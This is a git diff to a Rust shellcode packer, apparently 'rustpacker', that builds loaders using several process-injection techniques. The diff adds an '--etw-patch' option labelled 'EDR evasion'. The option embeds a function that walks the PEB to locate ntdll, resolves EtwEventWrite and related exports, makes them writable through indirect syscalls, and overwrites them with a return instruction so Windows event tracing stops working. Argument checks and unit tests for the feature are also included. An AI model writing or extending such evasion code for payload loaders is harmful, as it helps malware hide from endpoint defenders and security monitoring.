diff --git a/rustpacker-core/src/config.rs b/rustpacker-core/src/config.rs index 28337fa..cf9b377 100644 --- a/rustpacker-core/src/config.rs +++ b/rustpacker-core/src/config.rs @@ -50,6 +50,11 @@ pub struct Order { /// Requires -b dll and a self-injection template (ntapc, winfiber, ntfiber, sysfiber) #[arg(short, long)] pub proxy_dll: Option, + + /// Patch ETW functions to disable Event Tracing for Windows (EDR evasion). + /// Only available for self-injection templates using indirect syscalls. + #[arg(long)] + pub etw_patch: bool, } /// Execution techniques available for shellcode injection @@ -103,6 +108,16 @@ impl Execution { ) } + /// Check if this execution method uses indirect syscalls + pub fn uses_indirect_syscalls(&self) -> bool { + matches!(self, Execution::SysCreateRemoteThread | Execution::SysFiber) + } + + /// Check if this execution method supports ETW patching + pub fn supports_etw_patch(&self) -> bool { + self.is_self_injection() && self.uses_indirect_syscalls() + } + /// Get the template name for this execution method pub fn template_name(&self) -> &'static str { match self { @@ -203,9 +218,39 @@ pub fn parse_args() -> Result { } } + if order.etw_patch && !order.execution.supports_etw_patch() { + let eligible: Vec<&str> = Execution::all() + .iter() + .filter(|e| e.supports_etw_patch()) + .map(|e| e.template_name()) + .collect(); + return Err(anyhow!( + "ETW patching (--etw-patch) is only supported with self-injection templates using indirect syscalls. Current eligible templates: {}", + eligible.join(", ") + )); + } + Ok(order) } +/// Helper to get all execution variants for iteration +impl Execution { + pub fn all() -> &'static [Execution] { + &[ + Execution::NtQueueUserAPC, + Execution::NtCreateRemoteThread, + Execution::SysCreateRemoteThread, + Execution::WinCreateRemoteThread, + Execution::WinFiber, + Execution::NtFiber, + Execution::SysFiber, + Execution::EarlyCascade, + Execution::NtModuleStomping, + Execution::NtWatStager, + ] + } +} + #[cfg(test)] mod tests { use super::*; @@ -225,6 +270,36 @@ mod tests { assert!(!Execution::EarlyCascade.is_self_injection()); } + #[test] + fn test_execution_uses_indirect_syscalls() { + assert!(Execution::SysCreateRemoteThread.uses_indirect_syscalls()); + assert!(Execution::SysFiber.uses_indirect_syscalls()); + + assert!(!Execution::NtQueueUserAPC.uses_indirect_syscalls()); + assert!(!Execution::NtCreateRemoteThread.uses_indirect_syscalls()); + assert!(!Execution::WinCreateRemoteThread.uses_indirect_syscalls()); + assert!(!Execution::WinFiber.uses_indirect_syscalls()); + assert!(!Execution::NtFiber.uses_indirect_syscalls()); + assert!(!Execution::EarlyCascade.uses_indirect_syscalls()); + assert!(!Execution::NtModuleStomping.uses_indirect_syscalls()); + assert!(!Execution::NtWatStager.uses_indirect_syscalls()); + } + + #[test] + fn test_execution_supports_etw_patch() { + assert!(Execution::SysFiber.supports_etw_patch()); + + assert!(!Execution::NtQueueUserAPC.supports_etw_patch()); + assert!(!Execution::NtCreateRemoteThread.supports_etw_patch()); + assert!(!Execution::SysCreateRemoteThread.supports_etw_patch()); + assert!(!Execution::WinCreateRemoteThread.supports_etw_patch()); + assert!(!Execution::WinFiber.supports_etw_patch()); + assert!(!Execution::NtFiber.supports_etw_patch()); + assert!(!Execution::EarlyCascade.supports_etw_patch()); + assert!(!Execution::NtModuleStomping.supports_etw_patch()); + assert!(!Execution::NtWatStager.supports_etw_patch()); + } + #[test] fn test_execution_display() { assert_eq!(format!("{}", Execution::SysCreateRemoteThread), "sysCRT"); diff --git a/rustpacker-core/src/generator.rs b/rustpacker-core/src/generator.rs index 500cb58..f96cfa4 100644 --- a/rustpacker-core/src/generator.rs +++ b/rustpacker-core/src/generator.rs @@ -155,6 +155,7 @@ mod tests { sandbox: None, output: None, proxy_dll: None, + etw_patch: false, } } diff --git a/rustpacker-core/src/replacements.rs b/rustpacker-core/src/replacements.rs index 19ed04c..298b086 100644 --- a/rustpacker-core/src/replacements.rs +++ b/rustpacker-core/src/replacements.rs @@ -110,6 +110,191 @@ fn add_api_obfuscation_replacements(replacements: &mut HashMap<&'static str, Str ); } +fn add_etw_patch_replacements(replacements: &mut HashMap<&'static str, String>, enable: bool) { + if !enable { + replacements.insert("{{ETW_PATCH_FUNCTION}}", String::new()); + replacements.insert("{{ETW_PATCH_CALL}}", String::new()); + return; + } + + let etw_patch_function = r#" +unsafe fn patch_etw() { + use ntapi::ntpsapi::NtCurrentProcess; + use winapi::um::winnt::{PAGE_EXECUTE_READWRITE, PAGE_EXECUTE_READ}; + use winapi::ctypes::c_void; + use winapi::shared::ntdef::NT_SUCCESS; + use rust_syscalls::syscall; + + #[repr(C)] + struct PEB { + _reserved: [u8; 8], + ldr: *mut PEB_LDR_DATA, + } + + #[repr(C)] + struct PEB_LDR_DATA { + _reserved: [u8; 16], + in_load_order_module_list: *mut LIST_ENTRY, + } + + #[repr(C)] + struct LIST_ENTRY { + flink: *mut LIST_ENTRY, + blink: *mut LIST_ENTRY, + } + + #[repr(C)] + struct LDR_DATA_TABLE_ENTRY { + _reserved: [u8; 32], + dll_base: *mut u8, + _reserved2: [u8; 24], + base_dll_name: *mut u16, + } + + let peb_ptr: *mut PEB; + unsafe { + #[cfg(target_arch = "x86_64")] + { + let teb = std::arch::x86_64::_read_gs_base() as *mut u8; + peb_ptr = *(teb.add(0x60) as *mut *mut PEB); + } + #[cfg(target_arch = "x86")] + { + let teb = std::arch::x86::_read_fs_base() as *mut u8; + peb_ptr = *(teb.add(0x30) as *mut *mut PEB); + } + } + + let mut current = (*(*peb_ptr).ldr).in_load_order_module_list; + let ntdll_name = b"ntdll.dll\0"; + let mut ntdll_base: *mut u8 = std::ptr::null_mut(); + + while !current.is_null() { + let entry = current as *mut LDR_DATA_TABLE_ENTRY; + let dll_name = (*entry).base_dll_name; + if !dll_name.is_null() { + let mut i = 0; + let mut match_found = true; + while ntdll_name[i] != 0 { + if (*dll_name.add(i)) as u8 != ntdll_name[i] { + match_found = false; + break; + } + i += 1; + } + if match_found && (*dll_name.add(i)) as u8 == 0 { + ntdll_base = (*entry).dll_base; + break; + } + } + current = (*current).flink; + } + + if ntdll_base.is_null() { return; } + + type IMAGE_DOS_HEADER = [u8; 64]; + type IMAGE_NT_HEADERS64 = [u8; 24]; + type IMAGE_DATA_DIRECTORY = [u8; 8]; + type IMAGE_EXPORT_DIRECTORY = [u8; 40]; + + let dos_header = ntdll_base as *const IMAGE_DOS_HEADER; + let nt_headers_offset = unsafe { u32::from_le_bytes((*dos_header)[60..64].try_into().unwrap()) }; + let nt_headers = ntdll_base.add(nt_headers_offset as usize) as *const IMAGE_NT_HEADERS64; + + let export_dir_rva = unsafe { + let data_dir_offset = (*nt_headers)[112..120].as_ptr() as *const IMAGE_DATA_DIRECTORY; + u32::from_le_bytes((*data_dir_offset)[0..4].try_into().unwrap()) + }; + + let export_dir = ntdll_base.add(export_dir_rva as usize) as *const IMAGE_EXPORT_DIRECTORY; + + let number_of_names = unsafe { u32::from_le_bytes((*export_dir)[20..24].try_into().unwrap()) }; + let address_of_names = unsafe { u32::from_le_bytes((*export_dir)[32..36].try_into().unwrap()) }; + let address_of_name_ordinals = unsafe { u32::from_le_bytes((*export_dir)[36..40].try_into().unwrap()) }; + let address_of_functions = unsafe { u32::from_le_bytes((*export_dir)[16..20].try_into().unwrap()) }; + + let mut etw_functions = Vec::new(); + let target_names = [ + b"EtwEventWrite\0", + b"EtwEventWriteFull\0", + b"EtwEventRegister\0", + b"EtwEventUnregister\0", + b"EtwEventEnabled\0", + ]; + + for target_name in target_names.iter() { + for i in 0..number_of_names { + let name_rva = unsafe { + let names_ptr = ntdll_base.add(address_of_names as usize) as *const u32; + u32::from_le_bytes((*names_ptr.add(i as usize)).to_le_bytes()) + }; + let name_ptr = ntdll_base.add(name_rva as usize) as *const u8; + + let mut j = 0; + while target_name[j] != 0 && unsafe { *name_ptr.add(j) } != 0 { + if target_name[j] != unsafe { *name_ptr.add(j) } { break; } + j += 1; + } + + if target_name[j] == 0 && unsafe { *name_ptr.add(j) } == 0 { + let ordinal = unsafe { + let ordinals_ptr = ntdll_base.add(address_of_name_ordinals as usize) as *const u16; + u16::from_le_bytes((*ordinals_ptr.add(i as usize)).to_le_bytes()) as u32 + }; + + let func_rva = unsafe { + let funcs_ptr = ntdll_base.add(address_of_functions as usize) as *const u32; + u32::from_le_bytes((*funcs_ptr.add(ordinal as usize)).to_le_bytes()) + }; + + let func_addr = ntdll_base.add(func_rva as usize); + etw_functions.push(func_addr); + break; + } + } + } + + for func_addr in etw_functions { + let mut old_protect: u32 = 0; + let mut size: usize = 16; + + let status = syscall!( + "NtProtectVirtualMemory", + NtCurrentProcess, + &mut func_addr as *mut *mut c_void, + &mut size, + PAGE_EXECUTE_READWRITE, + &mut old_protect + ); + + if !NT_SUCCESS(status) { continue; } + + let patch_bytes: [u8; 16] = [0xC3, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, + 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90]; + unsafe { + std::ptr::copy_nonoverlapping( + patch_bytes.as_ptr(), + func_addr as *mut u8, + 16, + ); + } + + let _ = syscall!( + "NtProtectVirtualMemory", + NtCurrentProcess, + &mut func_addr as *mut *mut c_void, + &mut size, + old_protect, + &mut 0 + ); + } +} +"#.to_string(); + + replacements.insert("{{ETW_PATCH_FUNCTION}}", etw_patch_function); + replacements.insert("{{ETW_PATCH_CALL}}", "patch_etw();".to_string()); +} + /// Build the full replacement map for a given order. pub(super) fn build_replacements( order: &Order, @@ -139,6 +324,7 @@ pub(super) fn build_replacements( } add_api_obfuscation_replacements(&mut replacements); + add_etw_patch_replacements(&mut replacements, order.etw_patch); Ok(replacements) } @@ -191,4 +377,19 @@ mod tests { assert!(replacements.contains_key("{{API_KEY}}")); assert!(replacements.contains_key("{{OBF_NT_OPEN_PROCESS}}")); } + + #[test] + fn test_add_etw_patch_replacements() { + let mut replacements = HashMap::new(); + add_etw_patch_replacements(&mut replacements, true); + assert!(replacements.contains_key("{{ETW_PATCH_FUNCTION}}")); + assert!(replacements.contains_key("{{ETW_PATCH_CALL}}")); + assert!(!replacements["{{ETW_PATCH_FUNCTION}}"].is_empty()); + assert!(!replacements["{{ETW_PATCH_CALL}}"].is_empty()); + + let mut replacements = HashMap::new(); + add_etw_patch_replacements(&mut replacements, false); + assert!(replacements["{{ETW_PATCH_FUNCTION}}"].is_empty()); + assert!(replacements["{{ETW_PATCH_CALL}}"].is_empty()); + } } diff --git a/templates/sysFIBER/src/main.rs b/templates/sysFIBER/src/main.rs index 7d2826f..800cb09 100644 --- a/templates/sysFIBER/src/main.rs +++ b/templates/sysFIBER/src/main.rs @@ -4,6 +4,8 @@ {{LITCRYPT_SETUP}} {{COMMON_MODULE}} +{{ETW_PATCH_FUNCTION}} + use std::ptr::null_mut; use std::time::Instant; @@ -80,6 +82,7 @@ fn enhance(mut buf: Vec) { fn main() { {{SANDBOX}} + {{ETW_PATCH_CALL}} if !check_environment() { return; }